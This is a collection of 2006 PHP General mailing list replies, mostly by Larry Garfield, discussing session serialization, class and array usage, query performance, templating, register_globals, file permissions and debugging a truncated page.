That depends on what your data structure is, exactly, and what sort of tree structure you want on the other side. Please be more specific. On Thursday 19 October 2006 09:08, Angelo Zanetti wrote: Hi all, I have an associative array, which contains parent and child relationships. I've searched the web for creating a tree structure from this and found a few good sites but doesnt help 100% perhaps someone can point me in the correct direction? I've started to code it got to a point where I cant go any further, the code is pseudo code and dont want to reinvent the wheel. any suggestions would be really appreciated. Thanks in advance -- Angelo Zanetti Systems developer *Telephone:* +27 (021) 469 1052 *Mobile:* +27 (0) 72 441 3355 *Fax:*+27 (0) 86 681 5885 * Web:* http://www.zlogic.co.za *E-Mail:* [EMAIL PROTECTED] mailto:[EMAIL PROTECTED] -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] A no brainer...
On Monday 16 October 2006 14:11, Richard Lynch wrote: I suspect that serialization overhead is trivial for scalar data, and only starts to kill you when one starts schlepping bloated OOP structures or arrays back and forth -- at which point you messed up your architecture, and the serialization performance is just a symptom, not the disease. Yes, serialization is trivial for scalar data. However, to use a real-world example, the Drupal CMS allows users to define an unlimited number of path aliases. They're just key/value mappings, one string to another. Any given page can have dozens of links on it, which means dozens of mappings. The database table is really just a simple two column table, user path to system path. In older versions, the system pulled the whole table out at once and built a look up array, once per page. Only one query per page, but it meant a lot of data to pull and build. On sites with lots of aliases, that got very slow. So the latest version now pulls records one at a time. But that's a ton of SQL queries, many of which simply find no data in the first place. So now there's talk of building the look up table one record at a time and caching that, but the serialization/deserialization costs there are non-trivial when you're talking about a large array. The balance is still being worked out. :-) I'm just pointing out that no matter how you slice it, there is no free lunch performance-wise when you need to store data. The right balance will depend greatly on your use case. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Retrieving values from array on a class
On Sunday 15 October 2006 03:19, AR wrote: Hi, If you have an array assigned to a variable, you access elements of it with []. $foo = array('a', 'b', 'c'); print $foo[0]; // gives 'a' $bar = array('a' = 'hello', 'b' = 'world'); print $foo['b']; // gives 'world' I know that. I had my class written as: class returnConfigParams { var $a; var $b; var $c; var $d; // function that get the database parameters from properties.php function getMySQLParams() { include($_SERVER['DOCUMENT_ROOT']./properties.php); $mysql_parameters = array(0 = $a, 1 = $b, 2 = $c, 3 = $d); return($mysql_parameters); } } ? and i got the array values with: $params_file = New returnConfigParams; $params = $params_file-getMySQLParams(); values were $params[0], etc... everything was fine. then, someone suggested i might write it like this, so i can call it with returnConfigParams::getMySQLParams(); class returnConfigParams { private static $instance = NULL; private function __construct() { } // function that get the database parameters from properties.php public static function getMySQLParams() { if (!self::$instance) { /*** set this to the correct path and add some error checking ***/ include($_SERVER['DOCUMENT_ROOT']./properties.php); self::$instance = array($a, $b, $c, $d); } return self::$instance; } private function __clone(){ } } ? This way i can't get the array elements. I've tried $params = returnConfigParams::getMySQLParams(); but no good. And that's the story. Cheers, AR What exactly does properties.php do/contain? You are aware that the $a, $b, $c, and $d you reference in both versions are not the properties of the object, but local variables, right? If you want the object properties, you need to use $this-a, $this-b, etc. I still think both methods are highly over-engineered, however. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] A no brainer...
On Friday 13 October 2006 20:18, Tony Di Croce wrote: Is their a slick way of automatically serializing Objects to the session when a script exit()'s and de-serialize them in session_start()? It seems to me that object oriented PHP might actually be useful if I could persist an object across an entire session, and come to think of it, their really ought to be an automatic way to do this... (IE, I'd not be suprised one bit if its already a feature of PHP that I'm just not aware of)... So, is their a way to do this? class Foo { ... } session_start(); $foo = new Foo(); $_SESSION['myfoo'] = $foo; Ta da. The catch is the class must be defined before you start the session, so that it knows how to deserialize it. Of course, the cost of serialization and deserialization is non-trivial for any data structure that is of interesting size, and you have to keep in mind that if you aren't syncing to the database periodically then you will end up with stale data objects. (An issue in any case, but the longer the object representing a view of your database exists, the more of a problem it becomes. YMMV depending on the data you're holding.) -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] A no brainer...
On Saturday 14 October 2006 11:02, Ed Lazor wrote: Of course, the cost of serialization and deserialization is non- trivial for any data structure that is of interesting size, and you have to keep in mind that if you aren't syncing to the database periodically then you will end up with stale data objects. (An issue in any case, but the longer the object representing a view of your database exists, the more of a problem it becomes. YMMV depending on the data you're holding.) Has anyone done tests on the difference between the value and performance of serializing data structures versus just pulling the data from the database? PHP stores session data in files by default. There's gotta be a performance hit for the file access. If you store session data in MySQL, you're still making a DB query. It seems to me that the performance is almost the same, which means grabbing the current record ends up better because you avoid stale data. What do you think? -Ed It depends on what your data is. Is your data basic (a few elements in a linear array) or complex (a deeply nested multi-dimensional array or complex object?) Deserializing a complex data structure can get expensive. Is your data built by a single simple query against the database, a single but very complex query with lots of joins and subqueries, or a bunch of separate queries over the course of the program? A single SQL query for cached data is likely faster than lots of little queries. Is your data something that's going to change every few seconds, every few minutes, or every few days? Caching something that will change by your next page request anyway is a waste of cycles. Is your data needed on every page load? Putting a complex data structure into the session if you only need it occasionally is a waste of cycles. You're better off rebuilding it each time or implementing your own caching mechanism that only loads on demand. There is no general answer here. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Retrieving values from array on a class
On Saturday 14 October 2006 19:09, AR wrote: Hello, I've rewritten my class as you told me: -- class returnConfigParams { private static $instance = NULL; var $a; var $b; var $c; var $d; private function __construct() { } // function that get the database parameters from properties.php public static function getInstance() { if (!self::$instance) { /*** set this to the correct path and add some error checking ***/ include($_SERVER['DOCUMENT_ROOT']./properties.php); self::$instance = array($a, $b, $c, $d); } return self::$instance; } private function __clone(){ } } -- and i'm calling it with returnConfigParams::getInstance(); (probably wrongly) The question is how to access the individual elements of the array. I think you're still misunderstanding the concepts involved. If you have an array assigned to a variable, you access elements of it with []. $foo = array('a', 'b', 'c'); print $foo[0]; // gives 'a' $bar = array('a' = 'hello', 'b' = 'world'); print $foo['b']; // gives 'world' http://us3.php.net/manual/en/language.types.array.php It doesn't matter if you got the array as a return from a function or method or not. However, what you're doing here is horribly bastardizing classes and singletons. :-) Generally, a getInstance() is used to return an instance of a CLASS, not an array. If you just want to access the properties of an object, you use the object dereference operator, -. $foo = new returnConfigParams(); print $foo-a; // prints whatever is the value of the property var $a http://us3.php.net/manual/en/language.oop.php Of course, if you're trying to get database parameter information, then all of this is grossly over-engineered. properties.php: ?php $dbsettings['a'] = 'foo'; $dbsettings['b'] = 'bar'; $dbsettings['c'] = 'baz'; index.php (or whatever): require('properties.php'); And you now have an array $dbsettings, which has the values you need. Much simpler, and much faster. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] [JOB] PHP Book Tech Reviewer
I'm currently writing the second edition of my PHP Advanced book and need a technical reviewer. It is a paid job and some people think it's interesting/looks good on a resume/etc. Obviously you'll need to be an expert in PHP and pay close attention to detail. My definition of advanced for this book means: - OOP - Doing what you already do but better and faster - Tangential topics (GD, PDFlib, CLI, PEAR, XML, Ajax, MySQL, E- Commerce, other buzzwords). Experience in these areas required. You must be able to work quickly (the entire book must be reviewed over the course of a month, I think). If you are interested or have any questions, please email me off-list. Thanks, Larry -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] OOP slow -- am I an idiot?
doesn't seem to scale well. I did something like the above a few years ago. It was slow, and I think it's because it was doing this for each single row: * Instantiate the class * Perform a query for the name * Perform a query for the first department * Perform a query for the next department * Perform a query for the next department * Perform a query for the next department * Perform a query for the next department * Perform a query for the next department * Perform a query for the next department ... * Destroy the instantiation * Start over I love using object-oriented programming, but it seems to me that's ALOT of performance burden when I could just do something like this: SELECT customers.name, customer_revenue.revenue FROM customers INNER JOIN customer_revenue ON customers.id = customer_revenue.customer_id WHERE customer_revenue.department = '$department' ANDcustomer_revenue.month = '$month' ANDcustomer_revenue.year = '$year' (PHP loop to display all results) That seems like it would perform 20x faster. It seems that the SQL economies of scale (ability to rapidly slurp large sets of data) are completely bypassed when using OOP to view ALOT of objects together on one screen. It seems if I want decent performance I would have to ignore OOP rules of method hiding and access the data directly when using anything more than just a few objects on one page. A workaround -- I thought that perhaps I could fetch ALL of the data for a customer into memory upon initial instantiation, wherein I perform something like this: SELECT * FROM customers INNER JOIN customer_revenue ON customers.id = customer_revenue.customer_id WHERE customers.id = '$id' And then use the results from memory as-needed. It would be all data for a customer from all years across all departments. That might perform better but it'd suck ALOT of data into memory, and what if I add more than just revenue to my customer class? Each customer could potentially represent a limitless set of data. So this doesn't seem like an optimal solution. * Where am I going wrong? * Tell me how YOU fetch data from multiple objects to generate reports. * Is this an instance where it's better to just ignore OOP rules and go straight to the data? Whew, that's not fun to think about, particularly if my queries ever get to be more complex. Feedback, please. The goal is to maintain complex queries in just one place -- inside a class. I want my data to _only_ be accessed from the black box called an OOP class. CD Think you're a good person? Yeah, right! ;-) Prove it and get ten thousand dollars: TenThousandDollarOffer.com -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] need help to build a query
On Monday 09 October 2006 16:50, John Wells wrote: Yes you are right, but I guess you can decide which is worse: sending extra data in one query or send extra queries. I guess it depends on how many records we're talking about... It will vary with your problem, but in general, fewer queries == A Good Thing. If you can do with a join or subselect what would take n queries otherwise, do so. Also, JOIN is faster than sub-queries. Be aware, though, that MySQL doesn't support sub-queries until version 4.1. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Uploading files / processing with a PHP script
On Sunday 08 October 2006 13:25, Stut wrote: the owner of the file is 'www'. Is there any way I am able to automatically change the owner of the file to my FTP login identity (for example 'rpiggott') As far as I am aware only the root user can change the owner of files. You could set up a very specific sudo command to allow the www user to chown files to rpiggott but that's beyond the scope of this mailing list (plus I'd have to look it up and you can do that just as well as I can). Of course that would need you to have root on the server in the first place. -Stut The owner of a file can change ownership of the file, too, I believe, essentially willing it to someone else. Of course, that means your web scripts can't access the file, either. A better solution is to set the file's group permissions to 7, then chown the file to apache:mygroup, then put both apache and your ftp user into the mygroup group. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Coding Style Question...
On Monday 02 October 2006 19:32, Tony Di Croce wrote: I am relatively new to PHP... I have about 1.5 years of light PHP work under my belt... Over the past year or so my PHP coding style has evolved significantly and I'm curious as to how experienced programmers write PHP... Basically, here is what I have evolved to: 1) ALL php code is at the top of the file. 2) ALL html code is in a here document at the bottom. 3) php code is run before 1 character is outputed (and hence, no headers are sent, leaving redirects open for possibilities) 4) I almost always following my require_once directives with a session_start() at the top of the file. 5) Often, my forms submit to the PHP page that generated them but do so with a hidden posted variable. If that variable is set, then I process the form submission. I think the most important part of all this is #1 #2... I think I am using PHP a little like template engine this way... It seems to me that I most often see code snippets that try to intertwine HTML and PHP, but in my experience, except for trivial examples, this doesn't work so good... What do you think? Good habits to form, overall. Most examples and tutorials are trivial, which is why they do the intermingling thing. To be fair, that was one of PHP's original strengths over its competition in the early days (vis, Perl and C), because it made doing simple stuff simple. You didn't need to dynamically build the whole page if you only wanted a small bit to be dynamic. Of course, once you get into anything interesting, you frequently DO want the whole page dynamic or else templated. In my case, I tend to use php-based templates and theme functions, a style borrowed from Drupal. To wit, I have a function like this (off the cuff, not tested): function call_template($template, $args) { extract($args); ob_start(); include($template); $output = ob_get_contents(); ob_end_clean(); return $output; } $template is then the name of a mostly-HTML .php file where I can use PHP for display (mostly just echoing), making it easy to separate logic and presentation and build the page piecemeal. It also means that I have all the power of PHP for my template engine. Then I also have functions like theme_table($header=array(), $rows=array(), $caption='', $attrib=array()) {} or theme_unorderedlist($items=array()) {} So that I can just pass logical data structures and get back fully semantically useful HTML. (Eg, theme_table automatically puts in even/odd classes on tr tags for me.) Again, credit here goes to the Drupal CMS, which uses a much more developed and refined version of this concept. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Best open source project/framework to support a php training course?
On Wednesday 27 September 2006 20:47, Ligaya A. Turmelle wrote: There are a number of frameworks that you can use from PEAR (though many argue over whether it is a framework), Solar, CakePHP, Symfony, Zend's, and many many more. As for most OS projects - I don't know of a particular project that uses a particular framework (someone feel free to tell me otherwise). Many of the larger (aka well known) OS projects tend to be hodged podged together from what I have been told (again someone feel free to contradict me). Varies widely with the project. OSCommerce is a great application to study as an example of what NOT to do. It's horrid. On the other hand, Drupal is a very good example of using PHP4-era code to its fullest. Modular design, plugin architecture, separation of logic and content and presentation, function-level polymorphism, all kinds of good stuff. (Disclaimer: I am a Drupal contributor, so I am biased, but I'm a Drupal contributor because of how good a system it is.) Of course, Drupal is not a framework per se, but a CMS/framework. It's not for the first time PHP developer. Here's another idea: If they're just starting out, don't give them a framework. Make them work without one, then write their own, realize how hard it is, then they'll appreciate what separates good code from bad code much better. :-) One should never use a WYSIWYG HTML editor until one is fluent in HTML tags and CSS by hand. Similarly, using a super-high-level framework before you understand how to write a decent function that manipulates a nested associative array to control an SQL query means that you will never learn how to properly manipulate a nested associative array (which is, frankly, what makes PHP teh awesome). Might I make a suggestion to you - no matter which framework/OS project you use... Have it be in PHP5. Yeah it may restrict you in options, but that is where PHP is going and to my mind that is what someone new to PHP should be learning. True, and Zend is certainly pushing that hard. On the other hand, there's plenty to learn with PHP 4-era code (although that can certainly be done in PHP 5) before introducing advanced topics like magic object callback overrides. Plus, better than 50% of the shared hosts out there today still run PHP 4 for a mixture of legit and stupid cop-out reasons. You should also make sure to go over security in one of your classes - the intro would be my preferred class since security is a mindset as well as a way of coding. And it is easier to create habits then unlearn and relearn them. Just my $0.02 The very very very first code they write after Hello world should be a secure input wrapper. Go over ALL the issues with PHP user input *in historical context* (register globals, magic quotes, $_REQUEST as evil, why you should get out of the global namespace as soon as possible, etc.) and have them write code to safely get input from the user regardless of the server configuration. That right there is a good solid challenge, but it makes them paranoid from day one, which is how they should be. It also is code they can (and should) then use in all their later projects. 10 points off for every way you find to hack their code. :-) -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Logical OR in assignment
The single pipe | is bitwise OR, yes. You're probably thinking of this construct: a = b || c Which is a valid and common default-value idiom in Python and Javascript, but I don't think works in PHP. (If it does, someone please correct me because I'd like to use it. g) On Wednesday 27 September 2006 21:05, Jason Karns wrote: I once saw the use of OR (|) in assignment. $x = $y | $z; Does this use bitwise OR? I'm trying to see if I could use the above expression in place of: $x = is_null($y) ? $z : $y; Jason Karns ~~~ The Ohio State University [www.osu.edu] Computer Science Engineering [www.cse.osu.edu] -- No virus found in this outgoing message. Checked by AVG Free Edition. Version: 7.1.405 / Virus Database: 268.12.8/455 - Release Date: 9/22/2006 -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Months between two dates
Depending on what you mean by how many months, this could work too. $months = (strtotime($time2) - strtotime($time1)) / (60*60*24*30) That is, the number of seconds between those two dates divided by the number of seconds in a month (where month is normalized to 30 days). That may or may not be an acceptable normalization for what you're doing. Cheers. On Friday 15 September 2006 01:16, Phillip Baker wrote: Greetings Gents, I want to take two dates formatted as 11/1/1998 10/1/2008 And find out how many months have elapsed between them. I was wondering if there was a quick and dirty way to do this without a for loop. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] readdir
On Friday 15 September 2006 14:18, Toby Osbourn wrote: I suppose my question put simply is, what is the default ordering of directories when PHP uses the readdir method? And is there anyway to force a specific ordering to the directories before PHP searches down them? If you're on PHP 5, look at scandir(). It gives you an array of all of the files/directories in a given directory, which you can then sort with sort() or usort() or whatever. If you're on PHP 4, there's a backport of it in PEAR::PHP_Compat that doesn't actually require the rest of PEAR to function. :-) -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] register globals on
On Tuesday 12 September 2006 01:16, Zbigniew Szalbot wrote: Hello again, Can I ask a general question? One of the website that we have built was constructed using register globals. Thanks to that we set the language for browsing the website by determining user's browser language and then also (I think) it is used to remember some other choices users make while on the website (especially the language for browsing). Anyway, our ISP asks us to stop using register globals. They are right. We should. However, the programmer we have been using to help us, insists that without register globals on, we will have to revert to using cookies. This - he claims - is not an option because if a user blocks cookies, site as such will become useless (many options on the website are a consequence of setting the language first). I thought I would ask your opinion before we make any decision. Is it really so that without register globals, such things as displaying information from databases based on the initial choice of languages is not an option? I am not a programmer so I just need general guidance. Thank you very much in advance! Your programmer is (a) lying (b) completely and totally clueless (c) both. (Choose one.) In any vaguely recent version of PHP, you get five super-global array variables: $_GET - any parameters passed in the GET string. $_POST - any parameters passed in the body of a POST query. $_REQUEST - The two above merged. I forget which takes precedence. $_COOKIE - Any values sent by the browser as a cookie. $_SESSION - Any values that you have saved to the session array, which is (usually) persisted on the client's browser as a session cookie. All register globals does is take the contents of those arrays and dump them into the global namespace. (Again, I forget off hand what the precedence is.) You can very easily simulate register globals (which you should never do) with: for ($_REQUEST as $key = $value) $GLOBALS[$$key] = $value; for ($_COOKIE as $key = $value) $GLOBALS[$$key] = $value; Disabling register globals does not in any way keep you from using cookies. Of course, 90% of the time if you're using cookies, you REALLY mean to be using a session instead. Remembering a user's setting, such as what language they want, is a text-book example of where you want to be using sessions. Register globals is not required for that in any way shape or form. It may well be the case that refactoring your code to not depend on register globals will be difficult, time consuming, or annoying. That's quite possible. But that has nothing to do with cookies. Nor is there any way for you to persist data between page loads using register globals in the first place. Your programmer is full of it. As for a user disabling cookies, my honest opinion is that it's fucking 2006, if someone is so paranoid that they're blocking on-site session cookies then they shouldn't be allowed to use a web browser in the first place. :-) -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: IE session problem on one server only
On Friday 08 September 2006 06:06, Alex Turner wrote: We had issues before with the session not working correctly in IE, but I fixed those with info from the php.net manual user comments. I'm at a loss as to why it's only happening on the one server and not the other now. If it were the other way around I wouldn't care, but the live site shouldn't break. :-) Any idea what could be the problem? It sounds like the IE is putting different security/cookie settings for your local and remote site. We get the same symptoms from multiple systems. I get it on my work desktop, and on the client's desktop in another city. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Strange server crash problem
On Friday 08 September 2006 01:22, Robert Cummings wrote: Binary search using error_log() and __LINE__ output to track down where the thing dies. Binary search? I must be using a different definition than you are, since I don't know what a binary search would do for me when trying to track down a problem with output. :-) Binary search to track down a problem with output means you place log info at three points in the code, 2 that you are certain lie outside the error condition, and the 3rd to cut the problem space in two. Then depending on what gets output you know in which half of the problem space the error exists. Then you take again divide the problem space until you find the exact location of the bug. I suppose it is possible that it's dying at some point other than where the output is stopping. I've localized where the output stops; it's always at the end of a given loop iteration in the code that generates the sidebar; at the end of the loop that passes the 4 KB mark, it seems. I didn't realize you had already tracked down the location. Have you tried displaying errors? If you're worried about a production site you could install a custom error handler that displays the error based on the REMOTE_ADDR value. That won't help you though if a segfault is occurring. Are the PHP versions the same between machines? What I did was along the lines of: print pre style='display:noneGot here/pre\n; That way I could see it by looking at the code, but normal people visiting any other page on the site wouldn't notice a difference. That's how I was able to determine that it was output size-based. The more of those lines I added, the sooner in the code it died; always somewhere around the 4 KB mark. I'll see about error logging to the database instead to see if it's dying completely or just the output it crashing. Our development server is an IIS/PHP 4.3 environment. The live server is a 4.0.6 box sitting behind a proxy server as well, which could be part of the problem. The whole thing is a mess, I agree. :-) -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Strange server crash problem
I'm not certain if this is a PHP problem per se, but as the problem manifests itself in PHP I'll give it a go. I've a PHP-based CMS for a site that I am maintaining. It's a large site with a few thousand pages. Most of them work fine. However, twice now we've run into a problem where a specific page will exhibit very odd behavior. When building the page, the script will seemingly terminate after it outputs about 4 KB of data. It's not exactly 4 KB, but it's always about 4 KB of data. If I add debugging information to the page, it will still stop at about 4 KB of data, which is then less real output. The damned thing is, the 4KB mark is reached while outputting the left-side navigation bar. The way the CMS is structured (I didn't write it), that happens before any page-specific content is even loaded. There shouldn't be anything different about the code there yet. I've been unable to figure out why it happens. Any idea what to check? I'm stumped. The server itself is (get this) a Windows/IIS box running PHP 4.0.6 (yes, really) and MS SQL server via ODBC. I unfortunately do not have direct access to the box, so I can't check server logs myself. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] IE session problem on one server only
Another issue. :-) I've another site I've built that uses PHP sessions for user authentication. When the user logs in with a user/pass, that is matched against a record in the database and, if found, that user object is stored in the session along with various other tracking data like the IP address, and the session key is stored in the user table. Then when viewing a page, the systems compares the session key against the user table and the IP address of the request against the saved IP address. If anything doesn't match up properly, the user is kicked out. OK, all fine and dandy. It works correctly in both IE and Firefox on our test server. On the live site, however, it works only in Firefox. In IE, it accepts the initial login and displays the first page, but then the next time the user clicks a link they are asked to login again, as if the session is not being sent or saved properly. Both servers are running Linux and PHP 4.3.x. We had issues before with the session not working correctly in IE, but I fixed those with info from the php.net manual user comments. I'm at a loss as to why it's only happening on the one server and not the other now. If it were the other way around I wouldn't care, but the live site shouldn't break. :-) Any idea what could be the problem? -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Strange server crash problem
On Friday 08 September 2006 00:35, Robert Cummings wrote: The damned thing is, the 4KB mark is reached while outputting the left-side navigation bar. The way the CMS is structured (I didn't write it), that happens before any page-specific content is even loaded. There shouldn't be anything different about the code there yet. I've been unable to figure out why it happens. Any idea what to check? I'm stumped. The server itself is (get this) a Windows/IIS box running PHP 4.0.6 (yes, really) and MS SQL server via ODBC. I unfortunately do not have direct access to the box, so I can't check server logs myself. Binary search using error_log() and __LINE__ output to track down where the thing dies. Binary search? I must be using a different definition than you are, since I don't know what a binary search would do for me when trying to track down a problem with output. :-) I suppose it is possible that it's dying at some point other than where the output is stopping. I've localized where the output stops; it's always at the end of a given loop iteration in the code that generates the sidebar; at the end of the loop that passes the 4 KB mark, it seems. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Directory Structure
On Friday 08 September 2006 00:12, Manoj Singh wrote: Hello all, I am developing a site in which i have to show the directory structure of any server i.e the admin will enter any site name and i have to show the dir structure of that site name. Please help me to fix this. The following may prove useful: http://us2.php.net/scandir http://us2.php.net/manual/en/function.readdir.php http://us2.php.net/manual/en/class.dir.php http://us2.php.net/manual/en/spl (for very new PHP 5) -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: Functions vs html outpuit
